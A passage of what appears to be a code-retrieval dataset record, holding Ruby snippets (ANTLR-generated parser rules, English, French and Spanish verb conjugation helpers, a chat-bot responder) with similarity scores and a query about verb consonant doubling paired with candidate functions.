process_iter(exp)\n begin\n type_sexp, call_sexp, arg_list_sexp, block_sexp = exp.map { |inner| \n process_inner_expr(inner) \n }\n if arg_list_sexp.nil? and (anaphor = direct_anaphor_reference_contained(prune(block_sexp)))\n #puts anaphor\n arg_list_sexp = s(:lasgn, anaphor)\n block_sexp = convert_anaphor_references(block_sexp, anaphor)\n end\n s(\n *[type_sexp, call_sexp, arg_list_sexp, block_sexp].map { |inner| \n process_inner_expr(inner) \n }\n )\n rescue Exception\n puts \"Exception for #{[type_sexp, call_sexp, arg_list_sexp, block_sexp].to_a.inspect}\"\n ensure\n exp.clear\n end\n end", "def active_voice_imperative_mood_future_tense# {{{\n f = imperatives.future\n return TenseBlock.new( [ '', f[0], f[2],\n '', f[1], f[3]\n ],\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_imperative_mood_future_tense] }\n )\n end", "def nested_arg_action!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 50)\n\n \n # - - - - main rule block - - - -\n # at line 535:2: '[' ( options {greedy=false; k=1; } : NESTED_ARG_ACTION | ACTION_STRING_LITERAL | ACTION_CHAR_LITERAL | . )* ']'\n match(?[)\n # at line 536:2: ( options {greedy=false; k=1; } : NESTED_ARG_ACTION | ACTION_STRING_LITERAL | ACTION_CHAR_LITERAL | . )*\n loop do #loop 11\n alt_11 = 5\n look_11_0 = @input.peek(1)\n\n if (look_11_0 == ?]) \n alt_11 = 5\n elsif (look_11_0 == ?[) \n alt_11 = 1\n elsif (look_11_0 == ?\") \n alt_11 = 2\n elsif (look_11_0 == ?\\') \n alt_11 = 3\n elsif (look_11_0.between?(0x0000, ?!) || look_11_0.between?(?#, ?&) || look_11_0.between?(?(, ?Z) || look_11_0 == ?\\\\ || look_11_0.between?(?^, 0xFFFF)) \n alt_11 = 4\n\n end\n case alt_11\n when 1\n # at line 537:4: NESTED_ARG_ACTION\n nested_arg_action!\n\n when 2\n # at line 538:4: ACTION_STRING_LITERAL\n action_string_literal!\n\n when 3\n # at line 539:4: ACTION_CHAR_LITERAL\n action_char_literal!\n\n when 4\n # at line 540:4: .\n match_any\n\n else\n break #loop 11\n end\n end\n match(?])\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 50)\n\n end", "def est\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 4 )\n\n begin\n # at line 42:11: ( dclr | asign | comp | prt | red )\n # at line 42:11: ( dclr | asign | comp | prt | red )\n alt_4 = 5\n case look_4 = @input.peek( 1 )\n when T__44, T__45, T__46, T__47 then alt_4 = 1\n when ID then look_4_2 = @input.peek( 2 )\n\n if ( look_4_2 == EQLS )\n look_4_6 = @input.peek( 3 )\n\n if ( look_4_6 == MINUS || look_4_6 == LPAR || look_4_6.between?( ID, STRING ) )\n alt_4 = 2\n elsif ( look_4_6 == IN )\n alt_4 = 5\n else\n raise NoViableAlternative( \"\", 4, 6 )\n end\n elsif ( look_4_2.between?( PLUS, DIV ) || look_4_2 == RPAR || look_4_2.between?( GRTH, OR ) || look_4_2 == T__42 )\n alt_4 = 3\n else\n raise NoViableAlternative( \"\", 4, 2 )\n end\n when MINUS, LPAR, NUMBER, FLOAT, BOOL, STRING then alt_4 = 3\n when OUT, OUTS then alt_4 = 4\n when IN then alt_4 = 5\n else\n raise NoViableAlternative( \"\", 4, 0 )\n end\n case alt_4\n when 1\n # at line 42:12: dclr\n @state.following.push( TOKENS_FOLLOWING_dclr_IN_est_231 )\n dclr\n @state.following.pop\n\n when 2\n # at line 42:19: asign\n @state.following.push( TOKENS_FOLLOWING_asign_IN_est_235 )\n asign\n @state.following.pop\n\n when 3\n # at line 42:27: comp\n @state.following.push( TOKENS_FOLLOWING_comp_IN_est_239 )\n comp\n @state.following.pop\n\n when 4\n # at line 42:34: prt\n @state.following.push( TOKENS_FOLLOWING_prt_IN_est_243 )\n prt\n @state.following.pop\n\n when 5\n # at line 42:40: red\n @state.following.push( TOKENS_FOLLOWING_red_IN_est_247 )\n red\n @state.following.pop\n\n end\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 4 )\n\n end\n \n return \n end", "def pre_match() end", "def binary!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 7)\n\n type = BINARY\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 33:5: ( '-' )? '0b' ( '0' .. '1' )+\n # at line 33:5: ( '-' )?\n alt_13 = 2\n look_13_0 = @input.peek(1)\n\n if (look_13_0 == ?-) \n alt_13 = 1\n end\n case alt_13\n when 1\n # at line 33:5: '-'\n match(?-)\n\n end\n match(\"0b\")\n # at file 33:15: ( '0' .. '1' )+\n match_count_14 = 0\n loop do\n alt_14 = 2\n look_14_0 = @input.peek(1)\n\n if (look_14_0.between?(?0, ?1)) \n alt_14 = 1\n\n end\n case alt_14\n when 1\n # at line 33:16: '0' .. '1'\n match_range(?0, ?1)\n\n else\n match_count_14 > 0 and break\n eee = EarlyExit(14)\n\n\n raise eee\n end\n match_count_14 += 1\n end\n\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 7)\n\n end", "def t__29!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 18 )\n\n type = T__29\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 34:9: 'e'\n match( 0x65 )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 18 )\n\n end", "def potential_interpretations\n parsed_form && Sense.lookup_all_by_headword(parsed_form)\n end", "def test_verse_range_and_separated_verse\n text = 'Ruth 2,1-3.11'\n t1, t2 = text.split(dot)\n assert_formated_text_for_ast text, [pass(text: t1, b1: :Ruth, c1: 2, v1: 1, b2: :Ruth, c2: 2, v2: 3), dot, pass(text: t2, b1: :Ruth, c1: 2, v1: 11, b2: :Ruth, c2: 2, v2: 11)]\n end", "def expression(method)\n\n\n\n # 245:5: ( variable_or_method_use[method] | any_expression[method] )\n alt34 = 2\n # 244:1: expression[method] : ( variable_or_method_use[method] | any_expression[method] );\n look_ahead34_0 = look_ahead(1)\n if look_ahead34_0 == :IDENTIFIER || look_ahead34_0 == :T58 \n alt34 = 1\n elsif look_ahead34_0 == :NUMBER || (TOKENS[look_ahead34_0] >= 25 && TOKENS[look_ahead34_0] <= 26) || look_ahead34_0 == :ECOMMERCIAL || (TOKENS[look_ahead34_0] >= 31 && TOKENS[look_ahead34_0] <= 32) || (TOKENS[look_ahead34_0] >= 35 && TOKENS[look_ahead34_0] <= 46) || (TOKENS[look_ahead34_0] >= 48 && TOKENS[look_ahead34_0] <= 49) \n alt34 = 2\n else\n raise \"Expected: 244:1: expression[method] : ( variable_or_method_use[method] | any_expression[method] );\"\n end\n case alt34\n when 1\n # 245:7: variable_or_method_use[method]\n variable_or_method_use(method)\n\n when 2\n # 246:7: any_expression[method]\n any_expression(method)\n\n end\n\n\n\n end", "def new\n @irregular_verb = IrregularVerb.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @irregular_verb }\n end\n end", "def verb_params\n @forms = [:je, :tu, :il, :nous, :vous, :ils]\n @t = [:présent => @forms, :passé_composé => @forms, :imparfait => @forms, :plus_que_parfait => @forms,\n :passé_simple => @forms, :passé_antérieur => @forms, :futur_simple => @forms, :futur_antérieur => @forms,:subjonctif_présent => @forms,\n :subjonctif_passé => @forms,:subjonctif_imparfait => @forms, :subjonctif_plus_que_parfait => @forms, :conditionnel_présent => @forms, :conditionnel_passé_première => @forms, :conditionnel_passé_deuxième => @forms]\n @par = [:infinitive, :translation, :group].concat(@t)\n params.require(:verb).permit(@par)\n end", "def term\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 23 )\n\n\n value = nil\n\n\n b = nil\n\n\n begin\n # at line 150:3: (b= literal |b= function_call_statement | '(' b= expression ')' )\n alt_39 = 3\n case look_39 = @input.peek( 1 )\n when BOOLEAN, CHAR, FLOAT, INTEGER, STRING then alt_39 = 1\n when IDENT then alt_39 = 2\n when T__34 then alt_39 = 3\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n\n\n raise NoViableAlternative( \"\", 39, 0 )\n\n end\n case alt_39\n when 1\n # at line 150:5: b= literal\n @state.following.push( TOKENS_FOLLOWING_literal_IN_term_1103 )\n b = literal\n @state.following.pop\n\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n value = b \n # <-- action\n end\n\n\n when 2\n # at line 151:5: b= function_call_statement\n @state.following.push( TOKENS_FOLLOWING_function_call_statement_IN_term_1113 )\n b = function_call_statement\n @state.following.pop\n\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n value = b \n # <-- action\n end\n\n\n when 3\n # at line 152:5: '(' b= expression ')'\n match( T__34, TOKENS_FOLLOWING_T__34_IN_term_1121 )\n @state.following.push( TOKENS_FOLLOWING_expression_IN_term_1125 )\n b = expression\n @state.following.pop\n match( T__35, TOKENS_FOLLOWING_T__35_IN_term_1127 )\n\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n value = ParenExpressionEval.new(b) \n # <-- action\n end\n\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 23 )\n\n\n end\n\n return value\n end", "def form_for(tense, aspect, diathesis)\n form = []\n case diathesis\n when :active\n if tense == :future\n form << 'will'\n form << :infinitive if aspect == :habitual\n form.concat ['have', :past_participle] if aspect == :perfect\n form.concat ['be having', :past_participle] if aspect == :perfective\n form.concat ['be', :present_participle] if aspect == :progressive\n form.concat ['be about to', :infinitive] if aspect == :prospective\n else\n form.concat ['used to', :infinitive] if [tense, aspect] == %i[past habitual]\n form.concat %i[have past_participle] if aspect == :perfect\n form << :past if [tense, aspect] == %i[past perfective]\n form.concat %i[be present_participle] if aspect == :progressive\n form.concat [:be, 'about to', :infinitive] if aspect == :prospective\n form << :present if [tense, aspect] == %i[present habitual]\n form.concat [:be, 'having', :past_participle] if [tense, aspect] == %i[present perfective]\n end\n when :passive\n if tense == :future\n form << 'will'\n form.concat ['be', :past_participle] if aspect == :habitual\n form.concat ['have been', :past_participle] if aspect == :perfect\n form.concat ['be being', :past_participle] if aspect == :progressive\n form.concat ['be about to be', :past_participle] if aspect == :prospective\n else\n form.concat ['used to be', :past_participle] if [tense, aspect] == %i[past habitual]\n form.concat [:have, 'been', :past_participle] if aspect == :perfect\n form.concat %i[be past_participle] if [tense, aspect] == %i[past perfective]\n form.concat [:be, 'being', :past_participle] if aspect == :progressive\n form.concat [:be, 'about to be', :past_participle] if aspect == :prospective\n form.concat %i[be past_participle] if [tense, aspect] == %i[present habitual]\n end\n end\n form\n end", "def negation\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 24 )\n\n\n value = nil\n\n\n a = nil\n\n\n begin\n # at line 156:3: ( '!' a= negation |a= term )\n alt_40 = 2\n look_40_0 = @input.peek( 1 )\n\n if ( look_40_0 == T__30 )\n alt_40 = 1\n elsif ( look_40_0.between?( BOOLEAN, CHAR ) || look_40_0.between?( FLOAT, IDENT ) || look_40_0 == INTEGER || look_40_0 == STRING || look_40_0 == T__34 )\n alt_40 = 2\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n\n\n raise NoViableAlternative( \"\", 40, 0 )\n\n end\n case alt_40\n when 1\n # at line 156:5: '!' a= negation\n match( T__30, TOKENS_FOLLOWING_T__30_IN_negation_1145 )\n @state.following.push( TOKENS_FOLLOWING_negation_IN_negation_1149 )\n a = negation\n @state.following.pop\n\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n value = SingleOperandExpressionEval.new('!', a) \n # <-- action\n end\n\n\n when 2\n # at line 157:5: a= term\n @state.following.push( TOKENS_FOLLOWING_term_IN_negation_1159 )\n a = term\n @state.following.pop\n\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n value=a \n # <-- action\n end\n\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 24 )\n\n\n end\n\n return value\n end", "def to_s\n\t\t\"Verb: #{@infinitive}\"\n\tend", "def present_participle_with_doubled_terminal_consonant_for(verb)\n if /c$/ =~ verb.to_s\n present_participle verb.to_sym\n else\n present_participle verb.to_s.concat(verb.to_s[-1, 1]).to_sym\n end\n end", "def ev_preprocess(&block); end", "def ev_preprocess(&block); end", "def [](verb)\n return (@actions ||= []).find { |x| x.verb == verb.to_sym }\n end", "def process_defn exp\n process_all exp.body\n end", "def dsl_verb(*args, &block)\n args.each do |a|\n if block_given?\n define_method a, &block\n else\n define_method a do |*var|\n varname = \"@#{a}\"\n varname.chop! if varname.end_with? '?'\n instance_variable_set(varname.to_sym,var.first) if var.length == 1\n instance_variable_get(varname.to_sym)\n end\n end\n end\n end", "def attendTest_no_show_imaging(patient)\n yield [] if @state[IAPPOINTMENTREQUESTED].any? {|terms| terms.size == 2 and terms[0] == patient and state(PATIENT, patient) and state(RADIOLOGIST, terms[1]) and not state(IAPPOINTMENTKEPT, patient, terms[1])}\nend", "def t__25!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 14 )\n\n type = T__25\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 30:9: 'i'\n match( 0x69 )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 14 )\n\n end", "def happening_expressions\n find_related_frbr_objects( :has_happening, :which_expressions?) \n end", "def process_verse(book, chapter, verse_number)\n mapping = book_mapping(book)\n verse_text = scrape_verse(mapping, chapter, verse_number)\n out create_verse(book, chapter, verse_number, verse_text) if verse_text\n end", "def available_verbs\n\t\treturn Verbs::VERBS.values\n\tend", "def recognition_extraction\n next_capture = 1\n extraction = segments.collect do |segment|\n if segment.to_s[0] == ?:\n x = segment.match_extraction(next_capture, @conditions[segment.to_s[1..-1].to_sym])\n else\n x = segment.match_extraction(next_capture)\n end\n next_capture += segment.number_of_captures\n x\n end\n extraction.compact\n end", "def respond(event)\n msg = event.content\n \n # strip off the @inne++ mention, if present\n msg.strip!(/\\A<@[0-9]*>/) \n \n # match exactly \"lotd\" or \"eotw\", regardless of capitalization or leading/trailing whitespace\n if msg =~ /\\A\\s*lotd\\s*\\Z/i\n send_level(event)\n return\n elsif msg =~ /\\A\\s*eotw\\s*\\Z/i\n send_episode(event)\n return\n end\n\n hello(event) if msg =~ /\\bhello\\b/i || msg =~ /\\bhi\\b/i\n thanks(event) if msg =~ /\\bthank you\\b/i || msg =~ /\\bthanks\\b/i\n dump(event) if msg =~ /dump/i\n send_episode_time(event) if msg =~ /when.*next.*(episode|eotw)/i\n send_level_time(event) if msg =~ /when.*next.*(level|lotd)/i\n send_level(event) if msg =~ /what.*(level|lotd)/i\n send_episode(event) if msg =~ /what.*(episode|eotw)/i\n send_rankings(event) if msg =~ /rank/i && msg !~ /history/i\n send_history(event) if msg =~ /history/i && msg !~ /rank/i\n send_points(event) if msg =~ /points/i && msg !~ /history/i && msg !~ /rank/i\n send_scores(event) if msg =~ /scores/i && msg !~ /history/i && msg !~ /rank/i\n send_total_score(event) if msg =~ /total/i && msg !~ /history/i && msg !~ /rank/i\n send_top_n_count(event) if msg =~ /how many/i\n send_stats(event) if msg =~ /stat/i\n send_spreads(event) if msg =~ /spread/i\n send_screenshot(event) if msg =~ /screenshot/i\n send_suggestions(event) if msg =~ /worst/i\n send_list(event) if msg =~ /list/i\n send_missing(event) if msg =~ /missing/i\n send_level_name(event) if msg =~ /\\blevel name\\b/i\n send_level_id(event) if msg =~ /\\blevel id\\b/i\n send_diff(event) if msg =~ /diff/i\n send_help(event) if msg =~ /\\bhelp\\b/i || msg =~ /\\bcommands\\b/i\n identify(event) if msg =~ /my name is/i\nrescue RuntimeError => e\n event << e\nend", "def any_expression(method)\n\n\n\n # 273:5: ( '(' ( expression[method] )+ ')' | NUMBER | expression_operator | double_quoted_expression | single_quoted_expression )\n alt39 = 5\n # 272:1: any_expression[method] : ( '(' ( expression[method] )+ ')' | NUMBER | expression_operator | double_quoted_expression | single_quoted_expression );\n case look_ahead(1)\n when :LEFT_PARENTESIS\n alt39 = 1\n when :NUMBER\n alt39 = 2\n when :LEFT_ANGULAR_BRACKET,:RIGHT_ANGULAR_BRACKET,:ECOMMERCIAL,:EQUAL,:LEFT_SQUARE_BRACKET,:RIGHT_SQUARE_BRACKET,:QUESTION_MARK,:PLUS,:MINUS,:TIMES,:MODULUS,:COLON,:PIPE,:WEDGE,:EXCLATION_MARK,:SLASH\n alt39 = 3\n when :DOUBLE_QUOTES\n alt39 = 4\n when :SINGLE_QUOTES\n alt39 = 5\n else\n raise \"Expected: 272:1: any_expression[method] : ( '(' ( expression[method] )+ ')' | NUMBER | expression_operator | double_quoted_expression | single_quoted_expression );\"\n\n end\n case alt39\n when 1\n # 273:6: '(' ( expression[method] )+ ')'\n match(:LEFT_PARENTESIS)\n # 273:10: ( expression[method] )+\n matchedOnce38 = false\n while true\n alt38 = 2\n # ()+ loopback of 273:10: ( expression[method] )+\n look_ahead38_0 = look_ahead(1)\n if look_ahead38_0 == :IDENTIFIER || look_ahead38_0 == :NUMBER || (TOKENS[look_ahead38_0] >= 25 && TOKENS[look_ahead38_0] <= 26) || look_ahead38_0 == :ECOMMERCIAL || (TOKENS[look_ahead38_0] >= 31 && TOKENS[look_ahead38_0] <= 32) || (TOKENS[look_ahead38_0] >= 35 && TOKENS[look_ahead38_0] <= 46) || (TOKENS[look_ahead38_0] >= 48 && TOKENS[look_ahead38_0] <= 49) || look_ahead38_0 == :T58 \n alt38 = 1\n end\n case alt38\n when 1\n # 273:12: expression[method]\n expression(method)\n\n else\n break\n end\n matchedOnce38 = true\n end\n\n if !matchedOnce38\n raise \"Expected at least one match: 273:10: ( expression[method] )+\"\n end\n match(:RIGHT_PARENTESIS)\n when 2\n # 274:7: NUMBER\n match(:NUMBER)\n when 3\n # 275:7: expression_operator\n expression_operator()\n\n when 4\n # 276:7: double_quoted_expression\n double_quoted_expression()\n\n when 5\n # 277:7: single_quoted_expression\n single_quoted_expression()\n\n end\n\n\n\n end", "def each(&block)\n old_raw = @raw\n yield self unless self.nil?\n self.left_sentence.each{|el|block.call el} if self.left_sentence\n while (not old_raw.eql?(@raw)) && (not old_raw.nil?)\n old_raw = @raw\n yield self unless self.nil?\n end\n self.right_sentence.each{|el|block.call el} if (self.right_sentence) && (not @operator.is_negation?)\n while (not old_raw.eql?(self.raw)) && (not old_raw.nil?)\n old_raw = self.raw\n yield self unless self.nil?\n end\n end", "def process_message(message)\n msg = message.to_s\n\n if msg =~ /[\\.\\?!;]/\n msg.split(/[\\.\\?!;]/)\n if msg.is_a? String\n process_sentence(msg)\n else\n msg.each do |m|\n process_sentence(m)\n end\n end\n else\n process_sentence(msg)\n end\n end", "def conjugate_in_the_present_subjunctive(pronoun, verb)\n verb_ending, root = get_verb_ending_and_root(verb)\n if verb_ending == 'ar'\n root + %W[e es e emos éis en][pronoun_index(pronoun)]\n else # er and ir are the same\n root + %W[a as a amos áis an][pronoun_index(pronoun)]\n end\n end", "def block(node, in_sentence=false)\n body = node.array\n body.each_with_index do |node, index|\n if body.length == index + 1 # last element\n if @in_method\n emit \"Finally we return \"\n end\n visit node, true\n emit \".\"\n else\n visit node, in_sentence\n emit '. '\n end\n end\n end", "def process_inside_interp exp\n exp.map! do |e|\n if node_type? e, :evstr\n e.value = process_interp_output e.value\n e\n else\n e\n end\n end\n\n exp\n end", "def t__20!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 13 )\n\n type = T__20\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 29:9: 'V'\n match( 0x56 )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 13 )\n\n end" ]
[ "0.67030674", "0.6077263", "0.6065101", "0.58036715", "0.5788162", "0.5759099", "0.5536372", "0.5522279", "0.5517326", "0.5503346", "0.5483458", "0.5430552", "0.5430552", "0.5430552", "0.5430552", "0.5430552", "0.5410265", "0.5384527", "0.53753406", "0.5351846", "0.52921104", "0.52349126", "0.52001387", "0.5155458", "0.50462085", "0.500677", "0.49767137", "0.49661604", "0.49644244", "0.4948666", "0.4924847", "0.4922887", "0.48591328", "0.4786442", "0.47832775", "0.47400302", "0.47334257", "0.47186914", "0.471058", "0.47059938", "0.47007447", "0.46886295", "0.46808028", "0.46560052", "0.4652551", "0.4651953", "0.46432805", "0.46272895", "0.4626801", "0.46202818", "0.46117732", "0.46087995", "0.46027893", "0.46027893", "0.46027893", "0.46027893", "0.45991945", "0.45813745", "0.45720214", "0.45609808", "0.45608687", "0.4553191", "0.45529562", "0.4551157", "0.45500645", "0.45412853", "0.45255327", "0.45232978", "0.4516049", "0.45054504", "0.4495354", "0.44906175", "0.4489468", "0.4480907", "0.44748116", "0.44729698", "0.44700012", "0.44699588", "0.446732", "0.44647434", "0.44617212", "0.44452363", "0.44452363", "0.44441321", "0.4430636", "0.44305024", "0.44206533", "0.44173345", "0.43940854", "0.43893436", "0.43889913", "0.43889153", "0.4388236", "0.43878806", "0.43764094", "0.43728998", "0.4365826", "0.4358124", "0.43531972", "0.43527782" ]
0.6417911
1
Find single terminal consonant with the infinitive Params: infinitive, the given verb
def single_terminal_consonant(infinitive) @single_terminal_consonants << infinitive end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def regular_preterite_for(verb)\n infinitive = verb.is_a?(Verb) ? verb.infinitive.to_s : verb.to_s\n\n if verb.to_s.match(/#{CONSONANT_PATTERN}#{VOWEL_PATTERN}#{DOUBLED_CONSONANT_WITHOUT_C_PATTERN}$/) &&\n !conjugations.single_terminal_consonants.include?(verb.to_sym)\n return regular_preterite_with_doubled_terminal_consonant_for verb\n end\n\n case verb.to_s\n when /(#{CONSONANT_PATTERN}e|ye|oe|nge|ie|ee|ue)$/\n infinitive.concat('d').to_sym\n when /#{CONSONANT_PATTERN}y$/\n infinitive.gsub(/y$/, 'ied').to_sym\n when /c$/\n infinitive.gsub(/c$/, 'cked').to_sym\n else\n infinitive.concat('ed').to_sym\n end\n end", "def regular_preterite_with_doubled_terminal_consonant_for(verb)\n regular_preterite_for verb.to_s.concat(verb.to_s[-1, 1]).to_sym\n end", "def present_participle_with_doubled_terminal_consonant_for(verb)\n if /c$/ =~ verb.to_s\n present_participle verb.to_sym\n else\n present_participle verb.to_s.concat(verb.to_s[-1, 1]).to_sym\n end\n end", "def conjugate_in_the_present_subjunctive(pronoun, verb)\n verb_ending, root = get_verb_ending_and_root(verb)\n if verb_ending == 'ar'\n root + %W[e es e emos éis en][pronoun_index(pronoun)]\n else # er and ir are the same\n root + %W[a as a amos áis an][pronoun_index(pronoun)]\n end\n end", "def verb\n words.find { |wor| wor.pos == 'VERB' }\n end", "def present_third_person_singular_form_for(verb)\n infinitive = verb.is_a?(Verb) ? verb.infinitive.to_s : verb.to_s\n\n case infinitive\n when /[a-z&&#{CONSONANT_PATTERN}]y$/i\n \"#{infinitive[0..-2]}ies\"\n when /(ss|sh|t?ch|zz|x|#{CONSONANT_PATTERN}o)$/i\n \"#{infinitive}es\"\n when /[^s]s$/i\n \"#{infinitive}ses\"\n else\n \"#{infinitive}s\"\n end\n end", "def get_regular(verb)\n case verb\n when /(ch|s|sh|x|z)$/\n return verb + 'es'\n when /(ay|ey|oy|uy)$/\n return verb + 's'\n when /[^aeiou]y$/\n return verb[ 0..-2 ] + 'ies'\n else\n return verb + 's'\n end\n end", "def present_participle(infinitive)\n if infinitive.to_s.match(/#{CONSONANT_PATTERN}#{VOWEL_PATTERN}#{CONSONANTS_WITHOUT_C_PATTERN}$/) &&\n !conjugations.single_terminal_consonants.include?(infinitive.to_sym)\n return present_participle_with_doubled_terminal_consonant_for infinitive\n end\n\n case infinitive.to_s\n when /c$/\n \"#{infinitive}k\"\n when /(^be|ye|oe|nge|ee)$/\n infinitive.to_s\n when /ie$/\n infinitive.to_s.gsub(/ie$/, 'y')\n when /#{VOWEL_PATTERN}#{CONSONANT_PATTERN}e$/, /ue$/\n infinitive.to_s[0..-2]\n else # rubocop:disable Lint/DuplicateBranch\n infinitive.to_s\n end.dup.concat('ing').to_sym\n end", "def verb\n verb_path[0] if verb_path\n end", "def find(any_verb_form)\n end", "def present_conjugate\n\t\tif defined?(@stem)\n\t\t\t[\"ich #{@stem}e\",\n\t\t\t\"du #{@stem}st\",\n\t\t\t\"er,sie, es #{@stem}t\",\n\t\t\t\"wir #{@stem}en\",\n\t\t\t\"ihr #{@stem}t\",\n\t\t\t\"sie,Sie #{@stem}en\"]\n\t\telse\n\t\t\tputs \"Could not work with the verb: #{@infinitive}\"\n\t\tend\n\tend", "def verb; end", "def verb; end", "def verb; end", "def verb; end", "def verb; end", "def consonant_cancel(sentence)\n\tarry = sentence.split(\" \")\n \tfinal = []\n \tvowel = \"aeiou\"\n \tarry.each do |word|\n len = word.length\n word.each_char.with_index do |char, i|\n if vowel.include?(char)\n final << word[i..-1]\n break\n end\n end\n end\n return final.join(\" \")\nend", "def to_s\n\t\t\"Verb: #{@infinitive}\"\n\tend", "def consonant_cancel(sentence)\n \tnewSentence = \"\"\n\tsentence.split.each do |word|\n \t# puts word\n \tnewSentence = newSentence + \" \" + find_vowel(word)\n end\n \treturn newSentence\nend", "def consonant_cancel(sentence)\r\n newSentence = []\r\n sentence.split(\" \").each do |word|\r\n newWord = word\r\n while !('aeiou'.include?(newWord[0]))\r\n newWord = newWord[1..-1]\r\n end\r\n newSentence << newWord\r\n end\r\n return newSentence.join(\" \")\r\nend", "def ingverb; end", "def next_consonant(char)\n char = char.downcase\n compare = \"bcdfghjklmnpqrstvwxyz\"\n\n # not a consonant, i.e., no instance of the variable\n if compare.count(char) == 0\n # puts \"Not a consonant\"\n return nil\n end\n\n consonant_index = compare.index(char)\n\n if consonant_index == compare.length - 1 # end edge case\n return 'b'\n else\n return compare[consonant_index + 1]\n end\nend", "def conjugate(infinitive, options = {})\n infinitive = infinitive.dup if infinitive.is_a?(String)\n\n # set all options according to parameter, or the default\n tense = options[:tense] || :present # present, past, future\n person = options[:person] || :third # first, second, third\n plurality = options[:plurality] || :singular # singular, plural\n diathesis = options[:diathesis] || :active # active, passive\n mood = options[:mood] || :indicative # imperative, subjunctive\n aspect = options[:aspect] || default_aspect(options) # perfective, habitual, progressive, perfect, prospective\n\n check_for_improper_constructions(infinitive, tense, person, mood, diathesis) # find incompatabilities\n form = form_for(tense, aspect, diathesis) # find form array based on tense and aspect\n\n # map form array to conjugation array, applying infinitive and options to the array\n conjugation = form.map { |e| resolve e, infinitive, tense, person, plurality, mood }.join(' ').strip\n\n if options[:subject] # When options includes a subject,\n actor = options.delete(:subject) # remove from options and make subject humanized\n actor = subject(options).humanize if actor.is_a?(TrueClass)\n end\n\n \"#{actor} #{conjugation}\".strip\n end", "def past_participle(infinitive)\n if (verb = conjugations.irregulars[infinitive])\n conjugate_irregular(verb, tense: :past, derivative: :participle)\n else\n regular_preterite_for infinitive\n end\n end", "def consonant_cancel(sentence)\n words = sentence.split\n new_words = words.map { |word| remove_starting_consonants(word) }\n return new_words.join(\" \")\nend", "def verb\r\n self.class.verb\r\n end", "def is_verb? m\n is_token?(m) || is_absolute_iri?(m)\n end", "def consonant_cancel(sentence)\n result = []\n arr = sentence.split(\" \")\n\n arr.each do |i|\n cancelled = []\n i.each_char.with_index do |ch, idx|\n if ch == 'a' || ch == \"e\" || ch == \"i\" || ch == \"o\" || ch == \"u\"\n cancelled << i[idx..-1]\n break\n end\n end\n result << cancelled.join\n end\n\n return result.join(\" \")\n\nend", "def consonant_cancel(sentence)\n vowel = \"aeiou\"\n new_arr = []\n sentence.split(\" \").each do |word|\n word.each_char.with_index do |char, i|\n if vowel.include?(char)\n new_word = word[i..-1]\n new_arr << new_word\n break\n end\n end\n end\n new_arr.join(\" \")\nend", "def past(infinitive, person, plurality, mood)\n if (verb = conjugations.irregulars[infinitive])\n conjugate_irregular(verb, tense: :past, person: person, plurality: plurality, mood: mood)\n else\n regular_preterite_for infinitive\n end\n end", "def consonant_cancel(sentence)\n\n arr = sentence.split(\" \").map do |word|\n removeConsonant(word)\n end\n return arr.join(\" \")\nend", "def get_next_consonant(consonant,vowels)\n next_consonant = consonant\n loop do\n next_consonant = next_consonant.next\n break if !vowels.include?(next_consonant[-1])\n end\n next_consonant[-1]\nend", "def c\n return $consonants.choice\nend", "def verb(n=-1)\n\t verb = \"verb\"\n\t verb.concat(\" #{n}\") if n >= 0\t \n\t @sock.cmd(\"String\" => verb , \"Match\" => /(SUCCESS:.*\\n|ERROR:.*\\n|END.*\\n)/)\n end", "def yodawg(noun, verb=nil)\n\tif !verb\n\t\tverb=noun\n\tend\n\t\"Yo dawg, I heard you liked #{noun.en.plural}, so I put #{noun.en.a} in your #{noun} so you can #{verb} while you #{verb}!\"\nend", "def verb?\n !verb.nil?\n end", "def indefinite_reflexive_pronoun\n return \"itself\"\n end", "def next_consonant(consonant)\n # handle 'z' edge case\n if consonant == 'z'\n consonant = 'b'\n # if the next letter is a vowel\n elsif 'aeiou'.include?(consonant.next)\n # return the letter after that\n consonant.next.next\n # otherwise, return the next letter\n else\n 